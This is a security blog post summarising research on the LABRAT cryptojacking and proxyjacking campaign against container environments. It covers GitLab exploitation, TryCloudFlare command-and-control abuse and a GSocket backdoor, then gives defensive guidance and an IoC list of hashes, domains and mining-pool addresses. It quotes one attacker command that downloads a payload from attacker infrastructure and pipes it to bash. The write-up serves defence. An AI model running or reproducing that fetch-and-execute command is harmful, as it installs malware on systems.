Defending Against the Deceptive LABRAT Campaign

The Sysdig Threat Research Team recently disclosed details on a new cryptojacking campaign dubbed LABRAT that represents a serious threat for organizations using container environments. Researchers identified that this sophisticated operation uses evasive malware and rootkits to covertly hijack computing resources to mine cryptocurrency. The implications are severe, as LABRAT abuses legitimate tools for defense evasion, making detection very difficult. In this blog, we will learn how LABRAT operates, technical details uncovered by Sysdig researchers, and most importantly – how security teams can defend against deceptive LABRAT Campaign.

A Short Note About Cryptojacking and Proxyjacking

Cryptojacking and proxyjacking are online attacks where cybercriminals hijack an organization’s computing power to mine cryptocurrency or funnel internet traffic through compromised systems. These techniques allow attackers to profit off stolen resources while victims foot the bill. Cryptojacking in particular has surged in popularity among attackers drawn to its low risk and high reward. By hiding mining malware in container environments, hackers can secretly misuse infrastructure and cloud costs quickly spiral out of control.

Proxyjacking also poses financial and reputational risks. By routing connections through compromised devices, victims’ IP addresses end up associated with potentially malicious traffic. Defending against cryptojacking and proxyjacking is critical, but the evasive nature of threats like LABRAT makes them incredibly difficult to detect with traditional tools.

Uncovering the Stealthy LABRAT Cryptojacking Campaign

The Sysdig Threat Research Team uncovered LABRAT while investigating a container compromise. They found the attacker exploiting a known vulnerability in GitLab to gain initial access. However, what set this campaign apart was the attacker’s clear emphasis on stealth. Instead of typical scripts, the threat actor used sophisticated malware written in Go and .NET to fly under the radar. The LABRAT operation also relied on defense evasion at multiple levels:

  • Abusing legitimate TryCloudFlare subdomains for command and control
  • Encrypted communication between malware and C&C servers
  • Rootkits to hide malicious processes and files
  • Fileless techniques to avoid detection

Such evasive measures let the attacker secretly mine cryptocurrencies and funnel traffic through victims’ systems via proxyjacking. The campaign remains active with the threat actor continuously updating their toolkit to avoid indicators of compromise. This level of sophistication highlights why LABRAT is so dangerous. Legacy security tools reliant on malware signatures struggle to detect such stealthy, dynamic threats.

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How LABRAT Campaign Operates?

The LABRAT campaign stands out for its heavy emphasis on evading detection at multiple levels. The attackers combined several techniques to create a highly stealthy cryptojacking operation capable of flying under the radar in container environments.

How LABRAT Campaign Operates

Source: Sysdig

Exploiting GitLab for Initial Compromise

According to analysis by Sysdig researchers, LABRAT’s initial infection vector involves exploiting vulnerable GitLab instances to gain a foothold. Specifically, the attackers abuse CVE-2021-22205 – a remote code execution vulnerability impacting GitLab 13.0 to 13.7. By submitting malicious image files, an attacker can trigger arbitrary code execution if able to bypass authentication.

With valid admin credentials stolen from an Internet-exposed GitLab server, the LABRAT attackers can deploy the following curl command to download the initial malware payload:

curl -kL -u lucifer:369369 https://passage-television-gardening-venue[.]trycloudflare.com/v3 | bash

TryCloudFlare Abuse for C2 Obfuscation

A notable aspect of LABRAT is the attackers’ abuse of TryCloudFlare or Solr server to mask malicious command and control servers. TryCloudFlare allows users to easily create subdomains tied to Cloudflare’s legitimate infrastructure. The LABRAT campaign uses custom TryCloudFlare subdomains for each malware script, helping obfuscate the C2 network.

This shows how threat actors actively experiment with ways to exploit legitimate tools for malicious operations. Since TryCloudFlare domains are tied to Cloudflare servers, they can appear benign at first glance. Defenders must go beyond domain reputation to understand actual subdomain behavior.

GSocket for Persistent Access

The initial malware payload includes a sophisticated backdoor that delivers to the victim using a tool called GSocket for maintaining persistent access. GSocket is a legitimate tunneling tool used to establish communication between different private networks. It allows the creation of an encrypted tunnel to bypass firewall rules.

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Proxyjacking via IPRoyal and ProxyLite

In addition to Monero mining, the attackers also engaged in proxyjacking by installing Remote Access Trojans associated with the IPRoyal and ProxyLite services. Proxyjacking allows the threat actor to anonymously route malicious traffic through compromised devices.

Research uncovered an undetected .NET DLL called ProxyService.Core.dll associated with the Russian service ProxyLite. This cross-platform malware featured heavy obfuscation along with anti-analysis capabilities.

Proxyjacking presents financial risks as attackers can anonymously misuse hijacked infrastructure. There are also potential regulatory and reputational damages if attackers funnel malicious traffic through victims’ systems.

This combination of aggressive cryptomining and proxyjacking demonstrates the profit-driven motivations of the LABRAT gang. Persistent access to compromised devices allows the attackers to continuously find new ways to monetize stolen computing resources.

Evasive Tactics to Avoid Detection

The LABRAT operation stands out due to the attackers’ clear focus on evading detection. In addition to developing custom malware and abusing legitimate platforms, the threat actors continuously revise their tactics to stay under the radar.

Some examples include:

  • Regularly updating malware samples to avoid indicators of compromise
  • Using rootkits to conceal malicious processes and files
  • Whitelisting to block security scanning activities
  • Masquerading malware as benign system processes
  • Leveraging fileless techniques like Powershell scripts

Such evasive tradecraft makes LABRAT substantially harder to detect than typical “smash and grab” cryptojacking campaigns. Defending against this threat requires security teams to go beyond traditional preventative tools. Let’s examine effective strategies to protect against stealthy cryptojacking. Read the complete technical analysis here.

How to Defend Against the Deceptive LABRAT Campaign?

The sophisticated tradecraft and evasive tactics used in the LABRAT campaign present significant challenges for security teams. Legacy tools relying on static signatures or reputation-based blocking struggle to detect threats like LABRAT that abuse legitimate platforms and rapidly evolve.

Defending against stealthy cryptojacking requires transitioning to proactive security centered on behavioral monitoring and enhancing visibility into container environments. Specific strategies include:

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Hardening Container Environments

Prevent initial access by patching and properly configuring container orchestrators like Docker and Kubernetes. Follow principles like least privilege, immutable infrastructure, and air gapped builds. Continuously scan for misconfigurations that could enable exploitation.

Implementing Behavioral Monitoring

Legacy tools fail against advanced malware like ProxyLite, which contains no static indicators. Deploy runtime security tools that analyze process behavior and map to MITRE ATT&CK tactics. This allows the detection of threat behaviors without reliance on specific malware signatures.

Monitoring Communication with C2 Servers

Inspect network flows to identify unauthorized connections to suspicious domains, mining pools, and other outbound destinations indicative of C2 activity. Proactively block newly observed IOCs.

Detecting Suspicious Container Activity

Profile expected container behavior to identify anomalous events that could reflect cryptojacking. Monitor for unusual spawning processes, abnormal resource usage, permission changes, and attempts to hide activities.

Conducting Malware Analysis

Reverse engineer malware samples to create behavioral-based detections tuned to your specific environment. Develop custom PowerShell scripts and YARA rules that flag similar behaviors.

Tracking Latest Threat Intelligence

Actively monitor threat feeds to identify emerging cryptojacking malware and campaigns. Continuously update firewall rules, IDS signatures, and IOC lists to block newly observed indicators.

Ongoing Staff Education

Educate security teams on the latest cryptojacking and evasion tactics seen in the wild. Foster understanding of techniques like process injection, rootkits, and malware obfuscation.

The key is implementing controls to increase visibility into container activity and quickly respond to threat behaviors. Organizations should also actively hunt for IoCs associated with LABRAT and related cryptojacking malware. With attackers innovating faster than ever, defenders must be proactive and stay on guard.

IoCs

filename sha256
api ff4b30f45ec635f28801a24a175bbf7479fbcbf01131c7ff086ccd6cb64f2e8c
booster 4fd39d545d877720a86a1858d5af6ac50a432c13b83abc01ca1a59f96f6c67c0
db 0654789ea795e18c762ddde2de3215092065c7d26fde122e04cbcdf399a43b02
d.sh 6fad185a92c7a718e80e6f0c4d5fa4155e21545cfe2edf03e70f21604deb89ba
deploy.sh c236b6337572217eb83dc628579bcd4cd5dfb13c35cca54757f34fb9abf3edd6
v2 bee54e68d49cef7723dee09f39174245c015dd2dcf62ee8ffee6f4a156813d46
v3 7162a27a795d3ae13d0b8a6df0d7aa75fbefa74f8cb086ee46fdab0368d8ea07
v4 846ef36e262ce34203ca82ec84b95ae7bd316d162ee184845fda7b957e22b640
bs.zip 00df3dc4fe3a1c12acf3180d097ca88e0219331ae5cb6989fa4c3262597a2aba
s.zip eb6a93b1a7a05b0f644426a57a54446728868bde9a531e31cfb8849a4b3c4824
s2.zip 34dd0357f281c0a402afa8df60452f4ff4dcb68d2de162f39514ab3ece0f18f8
s3.zip d475ed387f2960611833348ba740d44b707a913bcd088f9731337a909a854c4c
f_ab.tar.gz 96db518610ef5c4b08d454a0f931db619fa09d193ac05b10d5600d4652af6ee3
f_aa.tar.gz 519ca08cc6b08b027441cd95dcb7ee5be6f9328a24687ab770a65e9246e8d4e9
f_aa 06ebe58e033b9228124a0575fddd6d2fde03afceef9ae030c92cb6640e3baebf
f_ab 75c775c26345ddaeda2a29775263433f92e62491fdc888d8deb320970da8cd77
m 10512112e62cd1cffee4e167651897970d7fef2c004fd784addcbcd23376ea22
initd 9f8eefd3199485b374728c8d51e700cc466f1a34b09f33a83b06775ebfb2f34a
netcoreapp-latest.tar 8c7891a70dba1067308c75708ada89957324927b6c9860cad9291220869efcc1
kms fc366b6b33f71cc3d5ba64551fc6c825b611045499dc8b41d2f2c70368301967
puga 234f2f1ed4a13ea98074aec5de9e760c77845e8011746e51b7397b9eac3ae808
xorg 5edf76c338cba244ba54ea3380b39531b1fdda13dfe447b17d40f24affb9d2f5
Ip/domain
https://separate-discussing-refrigerator-field[.]trycloudflare.com File Server
https://passage-television-gardening-venue[.]trycloudflare.com File Server
https://coffee-abandoned-predicted-skype[.]trycloudflare.com File Server
https://karma-adopt-income-jeffrey[.]trycloudflare.com File Server
1[.]234.16.54:7070 Gitlab
123[.]30.179.206:8189 Solr admin
192[.]227.165.88:6666 Pool
172[.]245.226.47:5858 Pool
23[.]94.204.157:44445 && 23[.]94.204.157:7773 Pool
107[.]173.154.7:6969 Pool
desertplanets[.]com:6666 Pool
172[.]245.226.47:5858 Pool

 

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